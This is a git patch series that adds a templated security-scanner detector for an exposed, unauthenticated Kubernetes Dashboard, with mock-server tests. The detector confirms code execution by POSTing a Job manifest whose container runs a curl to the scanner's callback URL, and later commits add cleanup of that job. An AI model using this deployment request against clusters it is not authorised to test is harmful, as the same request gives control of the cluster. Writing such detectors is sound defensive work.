From f28efc8c24a93fd54e68201537f3be454f143e17 Mon Sep 17 00:00:00 2001 From: JamesFoxxx Date: Fri, 1 Aug 2025 14:54:18 +0400 Subject: [PATCH 1/4] v0.1 --- .gitignore | 3 + .../plugins/exposedui/K8s_ExposeUI.textproto | 123 ++++++++++++++++++ .../exposedui/K8s_ExposeUI_test.textproto | 93 +++++++++++++ 3 files changed, 219 insertions(+) create mode 100644 templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto create mode 100644 templated/templateddetector/plugins/exposedui/K8s_ExposeUI_test.textproto diff --git a/.gitignore b/.gitignore index c52b1292e..48a881578 100644 --- a/.gitignore +++ b/.gitignore @@ -4,6 +4,9 @@ gradle.properties .gradle local.properties out +gradlew +gradlew.bat +gradle/ # IntelliJ IDEA .idea diff --git a/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto b/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto new file mode 100644 index 000000000..4ae483d4e --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto @@ -0,0 +1,123 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "K8s_ExposeUI" + author: "jamesFoxxx" + version: "1.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "K8S_EXPOSED_UI" + } + severity: CRITICAL + title: "Exposed Kubernetes Dashboard" + description: "Kubernetes Dashboard is exposed to the internet without proper authentication, allowing remote code execution. This vulnerability can lead to unauthorized access and control over the Kubernetes cluster." + recommendation: "Don't Expose the Kubernetes Dashboard to the Internet. If you must expose it, ensure that proper authentication and authorization mechanisms are in place. Regularly update your Kubernetes components to mitigate known vulnerabilities." +} + +config: {} + +########### +# ACTIONS # +########### + +actions: { + name: "is_kubernetes_dashboard" + http_request: { + method: GET + uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/namespace" + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: { } contains: "\"name\": \"kubernetes-dashboard\"," } + ] + } + } + } +} + +actions: { + name: "retrieve_csrftoken" + http_request: { + method: GET + uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/csrftoken/appdeploymentfromfile" + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: "\"token\": \"" } + ] + } + extract_all: { + patterns: [ + { + from_body: {} + regexp: "\\\"token\\\": \\\"([a-zA-Z0-9_:-]+)\\\"" + variable_name: "csrftoken" + } + ] + } + } + } +} +actions: { + name: "trigger_code_execution" + http_request: { + method: POST + uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/appdeploymentfromfile" + headers: [ + { name: "X-CSRF-TOKEN" value: "{{ csrftoken }}" }, + { name: "Content-Type" value: "application/json" } + ] + data: '{"name":"","namespace":"default","content":"apiVersion: batch/v1\\nkind: Job\\nmetadata:\\n name: curl-job\\n labels:\\n app: curl-example\\nspec:\\n template:\\n metadata:\\n labels:\\n app: curl-example\\n spec:\\n containers:\\n - name: curl-container\\n image: curlimages/curl:latest\\n command: [\\"/bin/sh\\", \\"-c\\"]\\n args:\\n - ^|\\n curl -s {{ T_CBS_URI }} ^|^| exit 0\\n restartPolicy: OnFailure\\n backoffLimit: 3\\n completions: 1","validate":true}' + response: { + http_status: 201 + } + } +} + +actions: { + name: "cleanup_job" + http_request: { + method: DELETE + uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/_raw/job/namespace/default/name/curl-job" + response: { + http_status: 200 + } + } +} +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 10000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + + +############# +# WORKFLOWS # +############# + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + actions: [ + "is_kubernetes_dashboard", + "retrieve_csrftoken", + "trigger_code_execution", + "sleep", + "check_callback_server_logs", + "cleanup_job" + ] +} diff --git a/templated/templateddetector/plugins/exposedui/K8s_ExposeUI_test.textproto b/templated/templateddetector/plugins/exposedui/K8s_ExposeUI_test.textproto new file mode 100644 index 000000000..5adbccf0d --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/K8s_ExposeUI_test.textproto @@ -0,0 +1,93 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "K8s_ExposeUI" +} + +tests: { + name: "whenVulnerable_returnsTrue" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/namespace" + status: 200 + body_content: "\"name\": \"kubernetes-dashboard\"," + }, + { + uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/csrftoken/appdeploymentfromfile" + status: 200 + body_content: "\"token\": \"TIM-HcANnZ3XwpXVB9D745jtuYo:1753310053154\"" + }, + { + uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/appdeploymentfromfile" + status: 201 + condition: { + headers: [ + { name: "X-CSRF-TOKEN" value: "TIM-HcANnZ3XwpXVB9D745jtuYo:1753310053154" }, + { name: "Content-Type" value: "application/json" } + ] + body_content:[ + '{"name":"","namespace":"default","content":"apiVersion: batch/v1\\nkind: Job\\nmetadata:\\n name: curl-job\\n labels:\\n app: curl-example\\nspec:\\n template:\\n metadata:\\n labels:\\n app: curl-example\\n spec:\\n containers:\\n - name: curl-container\\n image: curlimages/curl:latest\\n command: [\\"/bin/sh\\", \\"-c\\"]\\n' + ] + } + }, + { + uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/_raw/job/namespace/default/name/curl-job" + status: 200 + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/" + status: 200 + body_content: "Kubernetes Dashboard" + }, + { + uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/appdeploymentfromfile" + status: 200 + body_content: "\"token\": \"TIM-HcANnZ3XwpXVB9D745jtuYo:1753310053154\"" + } + ] + } +} + +tests: { + name: "whenNotK8s_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Hello world" + } + ] + } +} From afab006752960af21d43387bc0066443ceb30662 Mon Sep 17 00:00:00 2001 From: JamesFoxxx Date: Thu, 21 Aug 2025 12:14:28 +0400 Subject: [PATCH 2/4] update K8s payload --- .../templateddetector/plugins/exposedui/K8s_ExposeUI.textproto | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto b/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto index 4ae483d4e..b019d0f9c 100644 --- a/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto +++ b/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto @@ -78,7 +78,7 @@ actions: { { name: "X-CSRF-TOKEN" value: "{{ csrftoken }}" }, { name: "Content-Type" value: "application/json" } ] - data: '{"name":"","namespace":"default","content":"apiVersion: batch/v1\\nkind: Job\\nmetadata:\\n name: curl-job\\n labels:\\n app: curl-example\\nspec:\\n template:\\n metadata:\\n labels:\\n app: curl-example\\n spec:\\n containers:\\n - name: curl-container\\n image: curlimages/curl:latest\\n command: [\\"/bin/sh\\", \\"-c\\"]\\n args:\\n - ^|\\n curl -s {{ T_CBS_URI }} ^|^| exit 0\\n restartPolicy: OnFailure\\n backoffLimit: 3\\n completions: 1","validate":true}' + data: '{"name":"","namespace":"default","content":"apiVersion: batch/v1\\nkind: Job\\nmetadata:\\n name: curl-job\\n labels:\\n app: curl-example\\nspec:\\n template:\\n metadata:\\n labels:\\n app: curl-example\\n spec:\\n containers:\\n - name: curl-container\\n image: curlimages/curl:latest\\n command: [\\"/bin/sh\\", \\"-c\\"]\\n args:\\n - |\\n curl -s {{ T_CBS_URI }} || exit 0\\n restartPolicy: OnFailure\\n backoffLimit: 3\\n completions: 1","validate":true}' response: { http_status: 201 } From f4c9529fddb8de6ae993da04e05d3ff88352bdce Mon Sep 17 00:00:00 2001 From: JamesFoxxx Date: Tue, 30 Sep 2025 16:44:01 +0400 Subject: [PATCH 3/4] update urls to targets K8s dashboards directory not with a proxy url --- .../plugins/exposedui/K8s_ExposeUI.textproto | 8 ++++---- .../plugins/exposedui/K8s_ExposeUI_test.textproto | 12 ++++++------ 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto b/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto index b019d0f9c..55163917d 100644 --- a/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto +++ b/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto @@ -33,7 +33,7 @@ actions: { name: "is_kubernetes_dashboard" http_request: { method: GET - uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/namespace" + uri: "/api/v1/namespace" response: { http_status: 200 expect_all: { @@ -49,7 +49,7 @@ actions: { name: "retrieve_csrftoken" http_request: { method: GET - uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/csrftoken/appdeploymentfromfile" + uri: "/api/v1/csrftoken/appdeploymentfromfile" response: { http_status: 200 expect_all: { @@ -73,7 +73,7 @@ actions: { name: "trigger_code_execution" http_request: { method: POST - uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/appdeploymentfromfile" + uri: "/api/v1/appdeploymentfromfile" headers: [ { name: "X-CSRF-TOKEN" value: "{{ csrftoken }}" }, { name: "Content-Type" value: "application/json" } @@ -89,7 +89,7 @@ actions: { name: "cleanup_job" http_request: { method: DELETE - uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/_raw/job/namespace/default/name/curl-job" + uri: "/api/v1/_raw/job/namespace/default/name/curl-job" response: { http_status: 200 } diff --git a/templated/templateddetector/plugins/exposedui/K8s_ExposeUI_test.textproto b/templated/templateddetector/plugins/exposedui/K8s_ExposeUI_test.textproto index 5adbccf0d..f8101b314 100644 --- a/templated/templateddetector/plugins/exposedui/K8s_ExposeUI_test.textproto +++ b/templated/templateddetector/plugins/exposedui/K8s_ExposeUI_test.textproto @@ -17,17 +17,17 @@ tests: { mock_http_server: { mock_responses: [ { - uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/namespace" + uri: "/api/v1/namespace" status: 200 body_content: "\"name\": \"kubernetes-dashboard\"," }, { - uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/csrftoken/appdeploymentfromfile" + uri: "/api/v1/csrftoken/appdeploymentfromfile" status: 200 body_content: "\"token\": \"TIM-HcANnZ3XwpXVB9D745jtuYo:1753310053154\"" }, { - uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/appdeploymentfromfile" + uri: "/api/v1/appdeploymentfromfile" status: 201 condition: { headers: [ @@ -40,7 +40,7 @@ tests: { } }, { - uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/_raw/job/namespace/default/name/curl-job" + uri: "/api/v1/_raw/job/namespace/default/name/curl-job" status: 200 } ] @@ -59,12 +59,12 @@ tests: { mock_http_server: { mock_responses: [ { - uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/" + uri: "/" status: 200 body_content: "Kubernetes Dashboard" }, { - uri: "/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/api/v1/appdeploymentfromfile" + uri: "/api/v1/appdeploymentfromfile" status: 200 body_content: "\"token\": \"TIM-HcANnZ3XwpXVB9D745jtuYo:1753310053154\"" } From 9ac39775bb7b8173df3707f739ad3775867983e3 Mon Sep 17 00:00:00 2001 From: JamesFoxxx Date: Wed, 1 Oct 2025 21:11:33 +0400 Subject: [PATCH 4/4] use initial job clean up since we are using a constant job name it misses some cases we didn't clean the job with cleanup_actions --- .../plugins/exposedui/K8s_ExposeUI.textproto | 21 +++++++++++++++---- .../exposedui/K8s_ExposeUI_test.textproto | 4 ++-- 2 files changed, 19 insertions(+), 6 deletions(-) diff --git a/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto b/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto index 55163917d..c1e1033c9 100644 --- a/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto +++ b/templated/templateddetector/plugins/exposedui/K8s_ExposeUI.textproto @@ -78,27 +78,39 @@ actions: { { name: "X-CSRF-TOKEN" value: "{{ csrftoken }}" }, { name: "Content-Type" value: "application/json" } ] - data: '{"name":"","namespace":"default","content":"apiVersion: batch/v1\\nkind: Job\\nmetadata:\\n name: curl-job\\n labels:\\n app: curl-example\\nspec:\\n template:\\n metadata:\\n labels:\\n app: curl-example\\n spec:\\n containers:\\n - name: curl-container\\n image: curlimages/curl:latest\\n command: [\\"/bin/sh\\", \\"-c\\"]\\n args:\\n - |\\n curl -s {{ T_CBS_URI }} || exit 0\\n restartPolicy: OnFailure\\n backoffLimit: 3\\n completions: 1","validate":true}' + data: '{"name":"","namespace":"default","content":"apiVersion: batch/v1\\nkind: Job\\nmetadata:\\n name: tsunami-security-scanner-job\\n labels:\\n app: curl-example\\nspec:\\n template:\\n metadata:\\n labels:\\n app: curl-example\\n spec:\\n containers:\\n - name: curl-container\\n image: curlimages/curl:latest\\n command: [\\"/bin/sh\\", \\"-c\\"]\\n args:\\n - |\\n curl -s {{ T_CBS_URI }} || exit 0\\n restartPolicy: OnFailure\\n backoffLimit: 3\\n completions: 1","validate":true}' response: { http_status: 201 } } + cleanup_actions: "cleanup_job" } actions: { name: "cleanup_job" http_request: { method: DELETE - uri: "/api/v1/_raw/job/namespace/default/name/curl-job" + uri: "/api/v1/_raw/job/namespace/default/name/tsunami-security-scanner-job" response: { http_status: 200 } } } +actions: { + name: "initial_cleanup_job" + http_request: { + method: DELETE + uri: "/api/v1/_raw/job/namespace/default/name/tsunami-security-scanner-job" + } +} actions: { name: "sleep" utility: { sleep: { duration_ms: 10000 } } } +actions: { + name: "sleep_for_job_delete" + utility: { sleep: { duration_ms: 2000 } } +} actions: { name: "check_callback_server_logs" @@ -114,10 +126,11 @@ workflows: { condition: REQUIRES_CALLBACK_SERVER actions: [ "is_kubernetes_dashboard", + "initial_cleanup_job", + "sleep_for_job_delete", "retrieve_csrftoken", "trigger_code_execution", "sleep", - "check_callback_server_logs", - "cleanup_job" + "check_callback_server_logs" ] } diff --git a/templated/templateddetector/plugins/exposedui/K8s_ExposeUI_test.textproto b/templated/templateddetector/plugins/exposedui/K8s_ExposeUI_test.textproto index f8101b314..3daa46976 100644 --- a/templated/templateddetector/plugins/exposedui/K8s_ExposeUI_test.textproto +++ b/templated/templateddetector/plugins/exposedui/K8s_ExposeUI_test.textproto @@ -35,12 +35,12 @@ tests: { { name: "Content-Type" value: "application/json" } ] body_content:[ - '{"name":"","namespace":"default","content":"apiVersion: batch/v1\\nkind: Job\\nmetadata:\\n name: curl-job\\n labels:\\n app: curl-example\\nspec:\\n template:\\n metadata:\\n labels:\\n app: curl-example\\n spec:\\n containers:\\n - name: curl-container\\n image: curlimages/curl:latest\\n command: [\\"/bin/sh\\", \\"-c\\"]\\n' + '{"name":"","namespace":"default","content":"apiVersion: batch/v1\\nkind: Job\\nmetadata:\\n name: tsunami-security-scanner-job\\n labels:\\n app: curl-example\\nspec:\\n template:\\n metadata:\\n labels:\\n app: curl-example\\n spec:\\n containers:\\n - name: curl-container\\n image: curlimages/curl:latest\\n command: [\\"/bin/sh\\", \\"-c\\"]\\n' ] } }, { - uri: "/api/v1/_raw/job/namespace/default/name/curl-job" + uri: "/api/v1/_raw/job/namespace/default/name/tsunami-security-scanner-job" status: 200 } ]